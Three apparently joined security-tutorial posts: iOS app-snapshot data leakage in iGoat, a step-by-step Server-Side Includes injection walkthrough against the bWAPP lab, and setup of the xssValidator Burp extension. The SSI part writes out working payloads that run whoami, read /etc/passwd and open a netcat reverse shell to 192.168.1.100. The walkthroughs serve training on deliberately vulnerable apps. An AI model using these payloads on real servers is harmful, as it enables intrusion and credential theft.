Unintended Data Leakage - Application Backgrounding

Application Backgrounding iOS

If an application is open, it is possible that it can be sent in to the background by a change in state, such as the user pressing the Home button or from an incoming call. 

When an application is suspended in the background, iOS will take a “snapshot” of the app and store it in the application caches directory. 

If any sensitive information is open in the application when it enters the background, the snapshot is written to the filesystem in clear text. This can then be accessed by a malicious user.

iGoat Example

iGoat has an example of this type of vulnerability under Data Protection (Rest) > Backgrounding. Just click on Start to begin the exercise.

Enter any answers in the security question text fields and tap on the home button on your device to take the application in the background. iOS will take a screenshot of the application before it goes in the background.

If you navigate to the /Library/Caches/Snapshots/ folder you will find the snapshot containing the information you entered.

In order to prevent this kind of a vulnerability, these text fields can be set with the hidden attribute.

Example

The UIApplication delegate method applicationDidEnterBackground can be used to detect when an application is entering the background and modify the display accordingly.

- (void)applicationDidEnterBackground:(UIApplication *)application {

viewController.creditcardNumber.hidden = YES;

}

Server-Side Includes (SSI) Injection

In this post we will look at Server-Side Includes (SSI) Injection. Server-Side Includes allow developers to easily add persistent content to their pages rather than inserting common code on each page. For example if there is a logo or navigation menu on each page then it is easier to call this from a SSI. If an attacker can inject scripts into the HTML without proper escaping and the web server permits SSI then they may be able to exploit the application leading to file system and password file access. It may even be possible to execute shell commands

We will be using bWAPP to demonstrate some example attack scenarios .  We can see that the page below has two input fields. The output will be your IP address when you enter your first and last name.

The first thing we want to check is how meaningful characters are rendered when returned from the server. To do this you can use any intercept proxy tool, for this demo I will use ZaProxy. To execute a successful SSI Injection attack we will need to make sure that these characters <! -- are not escaped or filtered. So we inject them into the field.

The response in ZaProxy shows us that they are being displayed in the response unchanged (haven't been encoded). This is a good sign ;).

Ok let's take it a step further and try to execute an SSI. We can try to return the time and date using this command <!--#echo var="DATE_LOCAL" -->. Again we inject straight into the field..

The web server has parsed and executed the directive to echo the time and date before serving the page back, We now know it is vulnerable to injection.

So what else can we do? We can check to see if command execution is possible. whoami will return the current user, the command loos like this <!--#exec cmd="whoami" -->

Again we can see that it has executed the SSI returns www-data (the user under which the Apache server runs.

Now that we can execute commands lets go after some sensitive information like the /etc/passwd file (this contains user account information). To do this run <!--#exec cmd="cat /etc/passwd" -->

 

Great we can see usernames, passwords, user ids etc

The last thing to show is now to spawn a remote shell using netcat. Netcat is known as the Swiss army knife of networking tools. It is able to read and write data across TCP and UDP networks. For this demo I will use Kali Linux (attacker machine)  to run our netcat connection. Simply open a terminal and type the following command:   nc -l -p 666

The -l tells netcat to listen for an incoming connection rather than initiating a connection to a remote host. The -p specifies the source port nc should use, we have chosen 666. 

Next we want to inject our malicious SSI into the vulnerable input field. The command will be

 <!--#exec cmd="nc 192.168.1.100 666 -e /bin/bash" --> . This allows us to connect back to our attacker machine (192.168.1.100) on port 666 and then run a /bin/bash command when connection is successful.

The /bin/bash tells netcat to serve up a bash shell from the remote machine., which will then be available on the local machine. We can then execute shell commands on the remote host such as whoami, ls or pwd, its up to you :D

Eliminating Automated XSS False Positives with xssValidator

In this post I want to share a very cool BurpSuite extension called xssValidator. When you are faced with a large application to test it is impossible to check all input fields manually right?. We must rely on some kind of automation to ensure that we have covered the whole application surface. The problem with automated scanning is that it can result in a good proportion of false positives.

1. Cross-Site Scripting

One of the major vulnerabilities you will come across is Cross-Site Scripting or XSS. These type of flaws occur when an application takes untrusted data and sends it to the browser without proper validation. This could allow attackers to inject scripts into the victims browser causing web defacement, session hijacking etc. As you can imagine checking for a hundred or more XSS flaws manually is not much fun.

In order to reduce the number of false positives during automated scanning the team @ nVisium created the xssValidator extender. Along with creating the extension they also created a custom PhantomJS server. PhantomJS is a headless (no browser required) WebKit scriptable with a JavaScript API. The purpose of the server is to process and build a DOM from HTTP responses. The DOM is then used to check if the JavaScript has executed.

2.  Requirements

There are three requirements for using xssValidator:

• Java 7.0 or higher installed
• PhantomJS
• BurpSuite - Pro or Free (I used the free version and it worked fine)

3. Installing The Extension

The first thing we need to do is download the extender here. Next we need to install it in Burp:

Navigate to the extender tab at the top. Click on the add button, ensure extension type is Java and select the location of the JAR file:

When you click next you should see the screen below. If it has installed correctly there should be no errors in the output below.

 

4. Setting Up Our Target And BurpSuite Intruder

The next thing to do is set up Intruder and our target. For our target we will be using the bWAPP vulnerable web application. It has a number of XSS vulnerabilities, for this demo we will use the vulnerable POST page.

 

You need to configure your browser so that it is going through BurpSuite. You should see a request like below:

 If you right click on the request a number of options will appear. Select 'Send to Intruder'. We need to configure a few options in the Intruder tab. In Payload Sets select Payload Type - Extension-generated. Then select Generator and select XSS Validator Payloads and ok.

Click the add button under Payload Processing, and select Invoke Burp Extension from the dropdown menu. Select the XSS Validator processor, and click ok.

Now under the positions tab select the payload positions by using the add button. We are focusing on the firstname and lastname parameters.

Under the options tab, browse down to the Grep – Match section, and enter the string “fy7sdufsuidfhuisdf”. This string is returned by the Burp Extender if the payload successfully triggers an XSS. 

5. Installing And Starting PhantomJS Server

We also need to install the PhantomJS server. This link will take you through the steps if you are using Windows. You can try phantomjs --version to ensure it is working. Before running the Intruder attack you need to start phantomjs with the xss.js script (wherever you have placed it).

6. Start The Attack

Now we just start the Intruder attack, a pane should open and any positive results will be marked in the checkbox next to the “fy7sdufsuidfhuisdf” flag. It has returned four occurrences of XSS that have executed.

 

If you check the phantomjs server you should see the alerts displayed:

7. Verify The Findings

If you want to verify the XSS finding, simply right click the specific payload, and select navigate to request in browser -> original session

This is a really useful burpsuite extension that adds extra validation to automated scanning and will become even better with the increase of payloads. This post follows the steps outlined by the creator of xssValidator (John Poulin) here